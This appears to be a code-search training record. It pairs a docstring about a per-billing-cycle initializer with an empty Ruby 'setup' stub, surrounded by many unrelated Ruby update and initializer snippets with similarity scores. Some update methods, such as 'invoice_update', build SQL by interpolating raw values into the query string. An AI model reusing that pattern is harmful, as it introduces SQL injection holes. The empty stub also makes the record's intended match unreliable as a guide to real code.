"def update\n sql = \"\n UPDATE tickets\n SET (film_id, customer_id) =\n ($1, $2)\n WHERE id = $3\n \"\n values = [@film_id, @customer_id, @id]\n SqlRunner.run(sql, values)\n end",
"def update()\n sql = \"UPDATE artists SET (title, genre, artist_id)\n VALUES ($1, $2, $3) WHERE id = $4\"\n values = [@title, @genre, @artist_id, @id]\n SqlRunner.run(sql, values)\n end",
"def update fields, primaryFilter = nil, orFilter = nil, andFilter = nil, notFilter = nil\n\t\tfields.delete_if {|key, value| !@validFields.include? key}\n\n\t\tif fields.count > 0\n\t\t\tbegin\n\t\t\t\tquery = \"UPDATE #{@table} SET\"\n\t\t\t\tfields.each {|key, value| query += \" #{key}='#{value}',\"}\n\t\t\t\ttimestamp = Time.now\n\t\t\t\tquery += \"updated='#{timestamp}'\"\n\n\t\t\t\tif primaryFilter\n\t\t\t\t\tquery += \" WHERE #{primaryFilter[0]}='#{primaryFilter[1]}'\"\n\n\t\t\t\t\tif orFilter\n\t\t\t\t\t\torFilter.each {|key, value| query += \" OR #{key}='#{value}'\"}\n\t\t\t\t\tend\n\n\t\t\t\t\tif andFilter\n\t\t\t\t\t\tandFilter.each {|key, value| query += \" AND #{key}='#{value}'\"}\n\t\t\t\t\tend\n\n\t\t\t\t\tif notFilter\n\t\t\t\t\t\tnotFilter.each {|key, value| query += \" AND NOT #{key}='#{value}'\"}\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t@dbh.query query\n\t\t\t\ttrue\n\t\t\trescue => e\n\t\t\t\tputs \"Error: #{e.error}\"\n\t\t\t\tfalse\n\t\t\tend\n\t\tend\n\tend",
"def exec_update(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def update!(**args)\n @incremental_post_operations = args[:incremental_post_operations] if args.key?(:incremental_post_operations)\n @incremental_pre_operations = args[:incremental_pre_operations] if args.key?(:incremental_pre_operations)\n @incremental_select_query = args[:incremental_select_query] if args.key?(:incremental_select_query)\n @refresh_disabled = args[:refresh_disabled] if args.key?(:refresh_disabled)\n @unique_key_parts = args[:unique_key_parts] if args.key?(:unique_key_parts)\n @update_partition_filter = args[:update_partition_filter] if args.key?(:update_partition_filter)\n end",
"def update_all\n\n params['mealplan'].keys.each do |id|\n @mealplan = Mealplan.find(id.to_i)\n @mealplan.update_attributes(mealplan_params(id))\n end\n # Mealplan.update_all({veg: 4},{id: params[:id]})\n redirect_to(mealplans_url)\n # redirect_to(new_mealplan_path)\n end",
"def bulk_update\n\t\tif current_user.role != \"admin\"\n\t\t\tredirect_to posts_path\n\t\t\traise \"You are not admin\";\n\t\tend\n\t\tids = Array(params[:ids])\n\t\tposts = ids.map{ |i| Post.find_by_id(i) }.compact\n\t\t\n\t\tif params[:commit] == \"Delete selected posts\"\n\t\t\tposts.each{|e| e.destroy }\n\t\t\tflash[:notice] = \"Posts deleted successfully\"\n\t\tend\n\n\t\tredirect_to posts_path\n\tend",
"def update\n sql =\"UPDATE tags SET (tag_name) = ($1) WHERE id = $2\"\n values = [@tag_name, @id]\n SqlRunner.run(sql, values)\n end",
"def invoice_update(h)\n\t\trows = @database.execute <<-SQL\n\t\t\tUPDATE invoices\n\t\t\tSET\n\t\t\t\t\torganization = '#{h['organization']}'\n\t\t\t\t, updated = '#{h['updated']}'\n\t\t\t\t, amount = '#{h['amount']}'\n\t\t\t\t, amount_outstanding = '#{h['amount_outstanding']}'\n\t\t\t\t, discount = '#{h['discount']}'\n\t\t\t\t, invoice_id = '#{h['invoice_id']}'\n\t\t\t\t, matter = '#{h['matter']}'\n\t\t\t\t, date = '#{h['date']}'\n\t\t\t\t, status = '#{h['status']}'\n\t\t\tWHERE number = '#{h['number']}';\n\t\t\tSQL\n\tend",
"def update_many\n if @users.update_all(user_params)\n render json: @users, status: :ok, location: users_url\n else\n render json: @users.errors, status: :unprocessable_entity\n end\n end",
"def batch_update_invitees\n # 1. create\n current_invitees = Array(params[:user_ids]).map do |user_id|\n invitee = end_of_association_chain.new(user_id: user_id)\n if invitee.save\n invitee\n else\n existing_invitee = @event.invitees.where(user_id: user_id).first\n if existing_invitee\n existing_invitee\n end\n end\n end.compact\n # 2. remove non present\n @event.invitees.find_each do |invitee|\n if !current_invitees.include?(invitee)\n invitee.destroy\n end\n end\n @event.invitees.reload\n end",
"def sql_update(sql)\n exec(sql)\n # return affected rows.\n end",
"def update\n @row = Row.find(params[:id])\n respond_to do |format|\n if @row.update_attributes(:remark => params[:remark])\n @cells = params[:cells]\n @cells.each do |field_id,value|\n @cell = Cell.find(:first, :conditions => ['row_id = ? and field_id = ?', @row.id , field_id])\n if @cell == nil\n Cell.new(:row_id => @row.id, :field_id => field_id, :value => value).save\n else\n @cell.update_attributes(:row_id => @row.id, :field_id => field_id, :value => value)\n end\n end\n forward_to_front_desk :format => format, :object => @row, :screen_id =>@row.screen_id\n else\n back_to_operation_form :format => format, :action => 'edit', :object_errors => @row.errors\n end\n end\n end",
"def update\n\n end",
"def update_all\n pool = ThreadPool.new(5)\n \n find(:all).each do |record|\n pool.process do\n begin\n rcd = record\n rcd.update_record\n rescue => ex\n # mark record status to \"500 ERROR\".\n # if successful update at previous, just skip it.\n rcd.update_attribute(:status, \"ERROR\")\n ensure\n # clear out old connections.\n ActiveRecord::Base.verify_active_connections!\n end\n end\n end\n end",
"def update(attribute_names = @attributes.keys)\r\n quoted_attributes = attributes_with_quotes(false, false, attribute_names)\r\n return 0 if quoted_attributes.empty?\r\n connection.update(\r\n \"UPDATE #{self.class.quoted_table_name} \" +\r\n \"SET #{quoted_comma_pair_list(connection, quoted_attributes)} \" +\r\n \"WHERE #{connection.quote_column_name(self.class.primary_key)} = #{quote_value(id)}\",\r\n \"#{self.class.name} Update\"\r\n )\r\n end",
"def update()\n sql = \"UPDATE cities SET(name, country_id, visited, rate) = ($1, $2, $3, $4) WHERE id = $5\"\n values = [@name, @country_id, @visited, @rate, @id]\n SqlRunner.run(sql, values)\n end",
"def accept_data\n #debugger\n hash = {}\n hash[:date] = params[:my_param] \n hash[:employee_id] = params[:ids]\n Tasksheet.where(hash).update_all(status: \"accept\")\n end",
"def batch_modify_rows(action, rows, per_page=100)\n if not per_page.is_a? Fixnum or not per_page > 0\n raise VeritableError.new(\"Batch upload or delete must have integer page size greater than 0.\")\n end\n batch = []\n rows.each do |row|\n Util.check_row(row)\n batch.push(row)\n if batch.size == per_page\n post(link('rows'), {'action' => action, 'rows' => batch}) \n batch = []\n end \n end\n if batch.size > 0\n post(link('rows'), {'action' => action, 'rows' => batch})\n end\n end",
"def _update_without_checking(columns)\n ds = _update_dataset\n lc = model.lock_column\n rows = ds.clone(ds.send(:default_server_opts, :sql=>ds.output(nil, [Sequel[:inserted][lc]]).update_sql(columns))).all\n values[lc] = rows.first[lc] unless rows.empty?\n rows.length\n end",
"def update_list\n current_path = '/api/v1/update'\n @conn.get(current_path)\n end",
"def update_price(db, id, price)\n db.execute(\"UPDATE cars SET price=? WHERE id=?\", [price, id])\nend",
"def update_row_resource(resource, params)\n resource.attributes = params\n resource.save\n end",
"def update\n sql = \"UPDATE students SET name = ?, grade = ? WHERE id = ?\"\n DB[:conn].execute(sql, self.name, self.grade, self.id)\nend",
"def update_multi_fields(doc, changes)\n #Fields is expected to be in the form of [[field, content, append]]\n #Ex: [[:title, \"My New Title\"],[:people, \"Person I Forgot To List\", true]]\n changes.each do |change|\n content = change[1]\n content = join_content(doc, change[0], change[1]) if change[2]\n doc.send(change[0].to_s+get_args_for_send(change[0]),content)\n end\n return doc.save #Returns true if this all worked\n end",
"def update(db, tbl, updates, condition)\n # Build our SQL Query with info provided\n count=updates.size\n prep = \"UPDATE #{tbl} SET \"\n updates.each do |columnset|\n if count.to_i == 1\n prep += \"#{columnset} \"\n else\n prep += \"#{columnset}, \"\n end\n count = count.to_i - 1 \n end\n prep += \"WHERE #{condition};\"\n\n # User Confirmation & Execution of Update Query\n @db_connection.close if @db_connection\n begin\n db_connection = Mysql.connect(@host, @user, @pass, db, @port.to_i)\n query = db_connection.query(\"SELECT * FROM #{tbl} WHERE #{condition};\")\n print_caution(\"Before Update: \")\n query.each { |x| print_line(\"#{x[0]}\") }\n print_line(\"\")\n\n print_caution(\"Please confirm this UPDATE statement looks correct before we execute: \")\n print_caution(\"#{prep}\")\n answer = Readline.readline(\"(Does this look good (Y/N)?)> \", true)\n if \"#{answer.chomp.upcase}\" == \"YES\" or \"#{answer.chomp.upcase}\" == \"Y\"\n print_status(\"OK, sending UPDATE request...\")\n query = db_connection.query(\"#{prep}\")\n print_status(\"After Update: \")\n query = db_connection.query(\"SELECT * FROM #{tbl} WHERE #{condition};\")\n query.each { |x| print_line(\"#{x[0]}\") }\n db_connection.close\n print_line(\"\")\n print_status(\"Hope things worked, if not you can try custom SQL option from the Main Menu\")\n else\n print_error(\"OK, aborting Update request.....\")\n end\n print_status(\"Returning to Main Menu....\")\n rescue Mysql::Error => e\n print_error(\"Problem with Update for #{db}.#{tbl}!\")\n print_error(\"#{e}\")\n end\n @db_connection = Mysql.connect(@host, @user, @pass, @db, @port.to_i)\n end",
"def update_emails\n #update the attributes that gets passed\n #accessing the array the following returns an array of selected ids from the email page\n #Email.update([\"delete_flag=?\",1], :id => params[:email_ids])\n #params[:email_ids]\n #update_emails = Email.where(\"id in ?\", params[:email_ids])\n #update_emails.delete_flag = 1\n Email.update_all([\"delete_flag=?, updated_at=?\", 1, Time.now], :id => params[:email_ids])\n flash[:success] = \"#{params[:email_ids].length} Email(s) deleted from inbox!\"\n #redirect_to email_path\n redirect_to :back\n end",
"def update_all(attributes = {})\n klass.collection.update(\n selector,\n { \"$set\" => attributes },\n :multi => true,\n :safe => Mongoid.persist_in_safe_mode\n )\n end",
"def update(*points)\n if points[0].is_a?(Array)\n # Cover the least exhaustive, and most likely, nested array check first\n points = points.length == 1 ? points[0] : points.flatten\n elsif points.any? { |p| p.is_a?(Array) }\n points = points.flatten\n end\n return if points.empty? || points.length % 2 != 0\n\n # TODO lock the file\n if points.length == 2\n update_one(points[1], points[0])\n else\n update_many(points)\n end\n end"
] |
[
"0.68336505",
"0.67137647",
"0.6661009",
"0.66592205",
"0.6653152",
"0.66213614",
"0.6593405",
"0.6548404",
"0.6491957",
"0.6478361",
"0.64333946",
"0.64278793",
"0.64019996",
"0.6341838",
"0.62932986",
"0.629179",
"0.6262843",
"0.62626386",
"0.62547845",
"0.6216891",
"0.62162447",
"0.6216118",
"0.6216118",
"0.6216118",
"0.6216118",
"0.620565",
"0.62027943",
"0.6198431",
"0.618151",
"0.617704",
"0.61560524",
"0.6150733",
"0.61304414",
"0.6112202",
"0.6094466",
"0.60917467",
"0.6091663",
"0.6085351",
"0.6084777",
"0.6080265",
"0.6080232",
"0.6075085",
"0.607334",
"0.6054933",
"0.6054687",
"0.60523224",
"0.60278153",
"0.6024694",
"0.6017053",
"0.60106826",
"0.60074407",
"0.6005214",
"0.59946346",
"0.59913874",
"0.5980878",
"0.59620994",
"0.59495276",
"0.59495276",
"0.59404796",
"0.59390694",
"0.5926273",
"0.5923176",
"0.5919698",
"0.590973",
"0.58946115",
"0.58938354",
"0.58676577",
"0.5867302",
"0.5864532",
"0.585951",
"0.5856695",
"0.58534676",
"0.5849819",
"0.5846941",
"0.58437836",
"0.5834565",
"0.5834244",
"0.5833413",
"0.58320534",
"0.58273184",
"0.5821563",
"0.58190954",
"0.5817299",
"0.5815662",
"0.5804346",
"0.5803271",
"0.57983357",
"0.5796398",
"0.5795631",
"0.57894176",
"0.5780777",
"0.57806927",
"0.5779913",
"0.5773898",
"0.5772202",
"0.5766445",
"0.576634",
"0.5763612",
"0.5753882",
"0.57520545",
"0.574517"
] |
0.0
|
-1
|
An initializer called by the framework once per billling cycle. Override this method if you need to perform highlatency operations, like network transactions, that should not be performed perresource.
|
def setup(resources) ; end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n open_connection!\n @transaction_open = false\n end",
"def initialize(&block)\n load_defaults!\n\n @only_collections ||= Array.new\n @additional_options ||= Array.new\n @ipv6 ||= false\n @lock ||= false\n\n instance_eval(&block)\n prepare!\n end",
"def initialize\n begin\n @neuron_ids = []\n logger.info \"Cerebrum waking...\"\n\n # @status_thread = Thread.new do\n # send_frequent_status_updates(interval: 15, identity: 'cerebrum')\n # end\n rescue Exception => e\n error_message = format_error_message(e)\n logger.fatal \"Rescued in initialize method: creyap...#{error_message}\"\n die!\n end\n end",
"def initialize\n super\n @update_to_call = []\n Scheduler.start(:on_init, self.class)\n end",
"def initialize\n ensure_store_path\n #TODO set timer\n end",
"def production!\n @connection = Connection.new \n @bitcoin = BlockrIo.new\n end",
"def initialize_for_connect\n @initial_post = true\n @http_requests = 1\n @pending_requests = 0\n @last_send = Time.at(0)\n @previous_send = Time.at(0)\n @send_buffer = ''\n @stream_mechanisms = []\n @stream_features = {}\n end",
"def init\n ctx = ComputationContext.new(self)\n log_failure do\n handler.init(ctx)\n end\n ctx.transaction\n end",
"def initialize(resource)\n if self.class.parsed_auth_db == {}\n self.class.prefetch(resource)\n end\n super\n end",
"def init_monolithic_transactions!\n init_generic_transactions(monolithic_files, @monolithics)\n end",
"def initialize\r\n @connection = nil\r\n end",
"def initialize_offline_queue\n @offline_handler.init if @options[:offline_queueing]\n end",
"def initialize\n @max_resource_size = 10_000_000\n end",
"def initialize(resource)\n if self.class.parsed_NFS == {}\n self.class.prefetch(resource)\n end\n super\n end",
"def initialize(spec)\n super()\n\n @spec = spec\n\n @checkout_timeout = ( spec.config[:checkout_timeout] ||\n spec.config[:wait_timeout] || 5.0 ).to_f # <= 3.2 supports wait_timeout\n @reaper = Reaper.new self, spec.config[:reaping_frequency]\n @reaping = !! @reaper.run\n\n # default max pool size to 5\n if spec.config[:pool]\n @size = spec.config[:pool].to_i\n else\n if defined? Rails.env && ( (! Rails.env.development? && ! Rails.env.test?) rescue nil )\n logger && logger.debug(\"pool: option not set, using default size: 5\")\n end\n @size = 5\n end\n\n # The cache of reserved connections mapped to threads\n @reserved_connections = ThreadSafe::Map.new(:initial_capacity => @size)\n\n @connections = []\n @automatic_reconnect = true\n\n @available = Queue.new self\n\n initial_size = spec.config[:pool_initial] || 0\n initial_size = @size if initial_size == true\n initial_size = (@size * initial_size).to_i if initial_size <= 1.0\n # NOTE: warn on onitial_size > size !\n prefill_initial_connections if ( @initial_size = initial_size.to_i ) > 0\n\n if frequency = spec.config[:validate_frequency]\n require 'active_record/bogacs/validator' unless self.class.const_defined?(:Validator)\n @validator = Validator.new self, frequency, spec.config[:validate_timeout]\n if @validator.run && @reaping\n logger && logger.info(\"pool: validator configured alongside with reaper\")\n end\n end\n end",
"def initialize\n @cache_last_reset= Time.now\n\n @use_cache = false\n @cache_ttl = (5 * 60) # 5 mins\n\n @data_store = {}\n end",
"def initialize *args\n @max_load = $MAX_LOAD\n @max_object_size = $MAX_OBJECT_SIZE\n @current_load = 0\n @cache = Hash.new()\n @semaphor = Mutex.new()\n end",
"def post_init\n Batsd.logger.debug \"batsd server ready and waiting on #{Batsd::Server.config[:port]} to ship data upon request\\n\"\n @redis = Batsd::Redis.new(Batsd::Server.config)\n @diskstore = Batsd::Diskstore.new(Batsd::Server.config[:root])\n @retentions = Batsd::Server.config[:retentions]\n end",
"def initialize\n initialize!\n end",
"def initialize\n initialize!\n end",
"def pre_initialize\n end",
"def initialize(options = {}, &block)\n @connections, @busy_connections, @queue = [], {},[]\n @connection_proc = block\n @size = options[:size] || 8\n if options[:eager]\n @size.times do\n @connections << @connection_proc.call\n end\n end\n end",
"def post_init\n end",
"def pre_initialize; end",
"def initialize(connection)\n super(connection)\n\n @has_request_body = false\n\n @backend = Tresor::Backend::Backend.new(connection)\n end",
"def initialize\n super\n @actions = [].freeze\n @prepared = false\n @context = Context.new(stack: self)\n @hooks = Hooks.new(stack: self)\n @started = false\n @parallel = false\n end",
"def across_pool_state\n super\n end",
"def initialize\n super()\n init_data()\n end",
"def initialize\n @rwlock = ReadWriteLock.new\n \n @rwlock.write {\n @connection = nil\n @specification = nil\n @taskbox = TaskStack.new\n }\n end",
"def initialize # rubocop:disable Metrics/MethodLength\n @logfile = nil\n @loglevel = Logger::DEBUG\n @logger = nil\n @daemonize = false\n @pidfile = nil\n @autoload_rails = true\n @bunny = nil\n @before_request = nil\n @rpc_client_timeout = 5\n @rpc_client_response_key_format = :none\n @rpc_client_request_key_format = :none\n @client_test_mode = false\n @server_test_mode = false\n @thread_request_variable = nil\n end",
"def initialize\n @log = []\n @result = false\n @ttl = 300\n @params = {}\n end",
"def post_init\n @connector = Aeon::Connector.new(self)\n end",
"def post_init\n @connector = Aeon::Connector.new(self)\n end",
"def initialize\n # complete\n end",
"def initialize\n\t \t# loading or not loading should be the key here.\n end",
"def initialize(*)\n super\n @json_rpc_call_id = 0\n @json_rpc_endpoint = URI.parse(currency.rpc)\n end",
"def at_init\n\n\t\tend",
"def initialize\n super\n require 'multi_json'\n require 'google/apis/bigquery_v2'\n require 'googleauth'\n\n # MEMO: signet-0.6.1 depend on Farady.default_connection\n Faraday.default_connection.options.timeout = 60\n end",
"def initialize\n @beanstalk_url = \"localhost\"\n @reserve_timeout = nil\n end",
"def initialize\n super\n\n self.callbacks = ::ActiveSupport::HashWithIndifferentAccess.new\n self.callbacks_queue = []\n\n self.responses = ::ActiveSupport::HashWithIndifferentAccess.new\n self.responses_queue = []\n\n self.client = ::Syncano::Clients::Sync.instance\n self.received_data = ''\n end",
"def initialize\n \n end",
"def initialize(connection)\n @is_cached = false\n @connection = connection\n cache_list\n end",
"def before_initialize(&block); end",
"def initialize\n EM.add_periodic_timer(5) {\n check_expired_resources\n }\n check_expired_resources\n end",
"def initialize_auth\n @conf[:use_user_pool_cache] = false\n end",
"def post_initialize\n end",
"def initialize(&block)\n super(transport)\n\n @parameters = {}\n @query = {}\n @headers = Headers[HEADERS]\n @method = :get\n @asynchronous = true\n @binary = false\n @cacheable = true\n @opened = false\n @sent = false\n @completed = false\n @callbacks = Hash.new { |h, k| h[k] = [] }\n\n if block.arity == 0\n instance_exec(&block)\n else\n block.call(self)\n end if block\n end",
"def initialize\n super\n\n # defaults:\n self.foreground = false\n self.push_poll = 2\n self.feedback_poll = 60\n self.airbrake_notify = true\n self.check_for_errors = true\n self.batch_size = 5000\n self.queue = nil\n end",
"def init(&block)\n config = Configuration.new\n yield(config) if block_given?\n config.detect_release\n apply_patches(config)\n client = Client.new(config)\n scope = Scope.new(max_breadcrumbs: config.max_breadcrumbs)\n hub = Hub.new(client, scope)\n Thread.current.thread_variable_set(THREAD_LOCAL, hub)\n @main_hub = hub\n @background_worker = Sentry::BackgroundWorker.new(config)\n\n if config.capture_exception_frame_locals\n exception_locals_tp.enable\n end\n\n at_exit do\n @background_worker.shutdown\n end\n end",
"def post_initialize\n # raise NotImplementedError\n end",
"def initialize\n super\n require 'multi_json'\n require 'google/apis/bigquery_v2'\n require 'googleauth'\n require 'active_support/json'\n require 'active_support/core_ext/hash'\n require 'active_support/core_ext/object/json'\n\n # MEMO: signet-0.6.1 depend on Farady.default_connection\n Faraday.default_connection.options.timeout = 60\n end",
"def initialize\n reset!\n end",
"def initialize\n reset!\n end",
"def initialize(options={})\n super({\n :enabled => true,\n :race_condition_ttl => 86400,\n :ttl => 604800,\n :ttl_randomization => false,\n :ttl_randomization_scale => 1..2,\n :collection_synchronize => false,\n :collection_arguments => [:all],\n :cache => defined?(Rails.cache) && Rails.cache || CACHE,\n :logger => defined?(Rails.logger) && Rails.logger || LOGGER,\n :cache_collections => true\n }.merge(options))\n end",
"def initialize\n init\n end",
"def initialize()\n @busy = false\n @job_mutex = Mutex.new()\n @duty_container = DutyContainer.new()\n @duty_completion_callback = Proc.new() {}\n @duty_failure_callback = Proc.new() {}\n end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def initialize(options = {}, &data_source_block)\n @threads = []\n @wrapper_template = {}\n @current_upstream = {}\n @send_queue = Queue.new\n @sockets = Hamster::Set.new\n @broadcast_worker_delay = (options[:broadcast_worker_delay] ||\n options[:websocket_worker_delay] ||\n DEFAULT_DELAY)\n @read_worker_delay = (options[:read_worker_delay] ||\n options[:incoming_monitor_delay] ||\n DEFAULT_DELAY)\n @no_wrap = options[:no_wrap] || false\n @running = false\n @data_source_block = data_source_block\n start unless options[:start] == false\n end",
"def initialize(db)\n @db = db\n @opts = {}\n @cache_mutex = Mutex.new\n @cache = {}\n end",
"def initialize() end",
"def initialize()\n end",
"def initialize\n set_config\n end",
"def initialize\n @influxdb_hosts = DEFAULTS[:influxdb_hosts]\n @influxdb_port = DEFAULTS[:influxdb_port]\n @influxdb_username = DEFAULTS[:influxdb_username]\n @influxdb_password = DEFAULTS[:influxdb_password]\n @influxdb_database = DEFAULTS[:influxdb_database]\n @async = DEFAULTS[:async]\n @use_ssl = DEFAULTS[:use_ssl]\n @retry = DEFAULTS[:retry]\n @open_timeout = DEFAULTS[:open_timeout]\n @read_timeout = DEFAULTS[:read_timeout]\n @max_delay = DEFAULTS[:max_delay]\n @time_precision = DEFAULTS[:time_precision]\n\n @series_name_for_controller_runtimes = DEFAULTS[:series_name_for_controller_runtimes]\n @series_name_for_view_runtimes = DEFAULTS[:series_name_for_view_runtimes]\n @series_name_for_db_runtimes = DEFAULTS[:series_name_for_db_runtimes]\n @series_name_for_exceptions = DEFAULTS[:series_name_for_exceptions]\n @series_name_for_instrumentation = DEFAULTS[:series_name_for_instrumentation]\n\n @tags_middleware = DEFAULTS[:tags_middleware]\n @rails_app_name = DEFAULTS[:rails_app_name]\n\n @ignored_exceptions = DEFAULTS[:ignored_exceptions].dup\n @ignored_exception_messages = DEFAULTS[:ignored_exception_messages].dup\n @ignored_reports = DEFAULTS[:ignored_reports].dup\n @ignored_environments = DEFAULTS[:ignored_environments].dup\n @ignored_user_agents = DEFAULTS[:ignored_user_agents].dup\n @backtrace_filters = DEFAULTS[:backtrace_filters].dup\n @environment_variable_filters = DEFAULTS[:environment_variable_filters]\n @aggregated_exception_classes = []\n\n @debug = false\n @rescue_global_exceptions = false\n @instrumentation_enabled = true\n end",
"def init\n\n end",
"def initialize()\n\t\tend",
"def setup\n @base_currency = Historical.configuration.base_currency\n # Hash[iso_currency][iso_date]\n @rates = {}\n @store = RatesStore::HistoricalRedis.new(@base_currency,\n Historical.configuration.redis_url,\n Historical.configuration.redis_namespace)\n @provider = RatesProvider::OpenExchangeRates.new(Historical.configuration.oer_app_id,\n @base_currency,\n Historical.configuration.timeout,\n Historical.configuration.oer_account_type)\n # for controlling access to @rates\n @mutex = Mutex.new\n end",
"def on_load\n\t\t#\n\t\t# Setup constants\n\t\t#\n\t\tself[:volume_min] = 0\n\t\tself[:volume_max] = 31\n\t\tself[:brightness_min] = 0\n\t\tself[:brightness_max] = 31\n\t\tself[:contrast_min] = 0\n\t\tself[:contrast_max] = 60\t# multiply by two when VGA selected\n\t\t#self[:error] = []\t\tTODO!!\n\t\t\n\t\tbase.default_send_options = {\n\t\t\t:delay_on_recieve => DelayTime,\t\t# Delay time required between commands\n\t\t\t:retry_on_disconnect => false,\t\t# Don't retry last command sent as we need to login\n\t\t\t:timeout => 6\n\t\t}\n\t\t#base.config = {\n\t\t#\t:clear_queue_on_disconnect => true\t# Clear the queue as we need to send login\n\t\t#}\n\t\t@poll_lock = Mutex.new\n\tend",
"def worker_init\n raise \"Invalid worker name\" if !worker_name\n Thread.abort_on_exception = true\n\n # stores the job key of currently running job\n Thread.current[:job_key] = nil\n initialize_logger\n\n @thread_pool = ThreadPool.new(self,pool_size || 20,@logger)\n t_worker_key = worker_options && worker_options[:worker_key]\n\n @cache = ResultStorage.new(worker_name,t_worker_key,BDRB_CONFIG[:backgroundrb][:result_storage])\n\n if(worker_options && worker_options[:schedule] && no_auto_load)\n load_schedule_from_args\n elsif(BDRB_CONFIG[:schedules] && BDRB_CONFIG[:schedules][worker_name.to_sym])\n @my_schedule = BDRB_CONFIG[:schedules][worker_name.to_sym]\n new_load_schedule if @my_schedule\n end\n if respond_to?(:create)\n invoke_user_method(:create,worker_options[:data])\n end\n if run_persistent_jobs?\n add_periodic_timer(persistent_delay.to_i) {\n begin\n check_for_enqueued_tasks\n rescue Object => e\n puts(\"Error while running persistent task : #{Time.now}\")\n log_exception(e.backtrace)\n end\n }\n end\n write_pid_file(t_worker_key)\n end",
"def initialize\n\t\t\n\tend",
"def initialize(conn = nil)\n self.conn = conn || self.class.default_conn\n @system_profiler = SystemProfiler.new\n @last_request_metrics = nil\n end",
"def init\n super_init\n @persistent_store = PersistentStore.alloc.init\n create_all_tiles if @persistent_store.fresh?\n self\n end",
"def initialize( * )\n\t\t@runcount = 0\n\t\tsuper\n\tend",
"def initialize\n @starling_urls = Workling::Starling.config[:listens_on].split(',').map { |url| url ? url.strip : url }\n options = [@starling_urls, Workling::Starling.config[:memcache_options]].compact\n @connection = ::MemCache.new(*options)\n \n raise_unless_connected!\n end",
"def initialize\n # Create temporary data directory\n create_data_dir\n\n # Init connection to ADS\n init_ads\n\n # Initialize Data science toolkit\n init_dstk\n\n # Init connection to SQLite\n # init_sqlite3\n end",
"def post_init\n puts \"batsd server ready and waiting on #{Batsd::Server.config[:port]} to ship data upon request\\n\"\n @redis = Batsd::Redis.new(Batsd::Server.config)\n @diskstore = Batsd::Diskstore.new(Batsd::Server.config[:root])\n end",
"def post_init\n end",
"def init_counters\n calculate_ratio_sum\n calculate_proxies_needed\n end",
"def initialize\n self.class.configuration.validate!\n Qs.init\n @daemon_data = DaemonData.new(self.class.configuration.to_hash)\n @logger = @daemon_data.logger\n\n @client = QsClient.new(Qs.redis_config.merge({\n :timeout => 1,\n :size => self.daemon_data.num_workers + 1\n }))\n @queue_redis_keys = self.daemon_data.queue_redis_keys\n\n @signals_redis_key = \"signals:#{@daemon_data.name}-\" \\\n \"#{Socket.gethostname}-#{::Process.pid}\"\n\n @worker_available = WorkerAvailable.new\n\n @worker_pool = DatWorkerPool.new(self.daemon_data.worker_class, {\n :num_workers => self.daemon_data.num_workers,\n :logger => self.daemon_data.dwp_logger,\n :worker_params => self.daemon_data.worker_params.merge({\n :qs_daemon_data => self.daemon_data,\n :qs_client => @client,\n :qs_worker_available => @worker_available,\n :qs_logger => @logger\n })\n })\n\n @thread = nil\n @state = State.new(:stop)\n rescue InvalidError => exception\n exception.set_backtrace(caller)\n raise exception\n end",
"def after_initialize\n end",
"def initialize\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n !@config.endpoint.split(\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = ::Google::Cloud::Retail::V2::ModelService::Rest::Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @location_client = Google::Cloud::Location::Locations::Rest::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @model_service_stub = ::Google::Cloud::Retail::V2::ModelService::Rest::ServiceStub.new endpoint: @config.endpoint, credentials: credentials\n end",
"def after_initialize\n # noop\n end",
"def initialize\n begin\n require 'aws'\n require 'timedcache'\n require 'json'\n rescue LoadError\n require 'rubygems'\n require 'aws'\n require 'timedcache'\n require 'json'\n end\n\n # Class variables\n # Data shared amongst all instance of this class.\n @@aws_config = {} # AWS access credentials from yaml.\n # Caches are shared, so that multiple AWS instances from seperate threads can share cache data\n # e.g. When a scaling event occurs.\n @@output_cache = TimedCache.new(:default_timeout => 60) #Default timeout in 60 seconds.\n @@resource_cache = TimedCache.new(:default_timeout => 60)\n\n # Class instance variables\n # We want don't want two instances trying to reuse the same connection objects, and possible\n # the same connection, so give each class it's own connection objects.\n @cf = Hash.new # Variable for hash of connection options, keyed by region.\n\n\n # Check our config key is present in hiera.yaml\n if not Config.include?(:cloudformation) || Config[:cloudformation].nil? then\n error_message = \"[cloudformation_backend]: No configuration found.\"\n Hiera.warn(error_message)\n raise Exception, error_message \n end\n\n # Check we have the AWS access_key_id\n # TODO we should have a fallback for access credentials as per documentaion.\n if not Config[:cloudformation].include?(:access_key_id) then \n error_message = \"[cloudformation_backend]: :access_key_id missing in configuration.\"\n Hiera.warn(error_message)\n raise Exception, error_message \n end\n\n #Check we have the AWS secret_access_key\n if not Config[:cloudformation].include?(:secret_access_key) then\n error_message = \"[cloudformation_backend]: :secret_access_key missing in configuration.\"\n Hiera.warn(error_message)\n raise Exception, error_message \n end\n\n # Check we have the AWS region.\n # This can be a static region name of an interpolated fact.\n # TODO: This should be improved so it can fallback to default environment or \n # dot file values. \n if not Config[:cloudformation].include?(:region) then\n error_message = \"[cloudformation_backend]: :region missing in configuration.\"\n Hiera.warn(error_message)\n raise Exception, error_message \n end\n\n if Config[:cloudformation].fetch(:parse_metadata, false) then\n debug(\"Will convert CloudFormation stringified metadata back to numbers or booleans.\")\n @parse_metadata = true\n else\n @parse_metadata = false\n end\n \n debug(\"Using AWS access key #{Config[:cloudformation][:access_key_id]}\")\n @@aws_config['access_key_id'] = Config[:cloudformation][:access_key_id]\n @@aws_config['secret_access_key'] = Config[:cloudformation][:secret_access_key]\n debug(\"Using AWS region #{Config[:cloudformation][:region]}\")\n 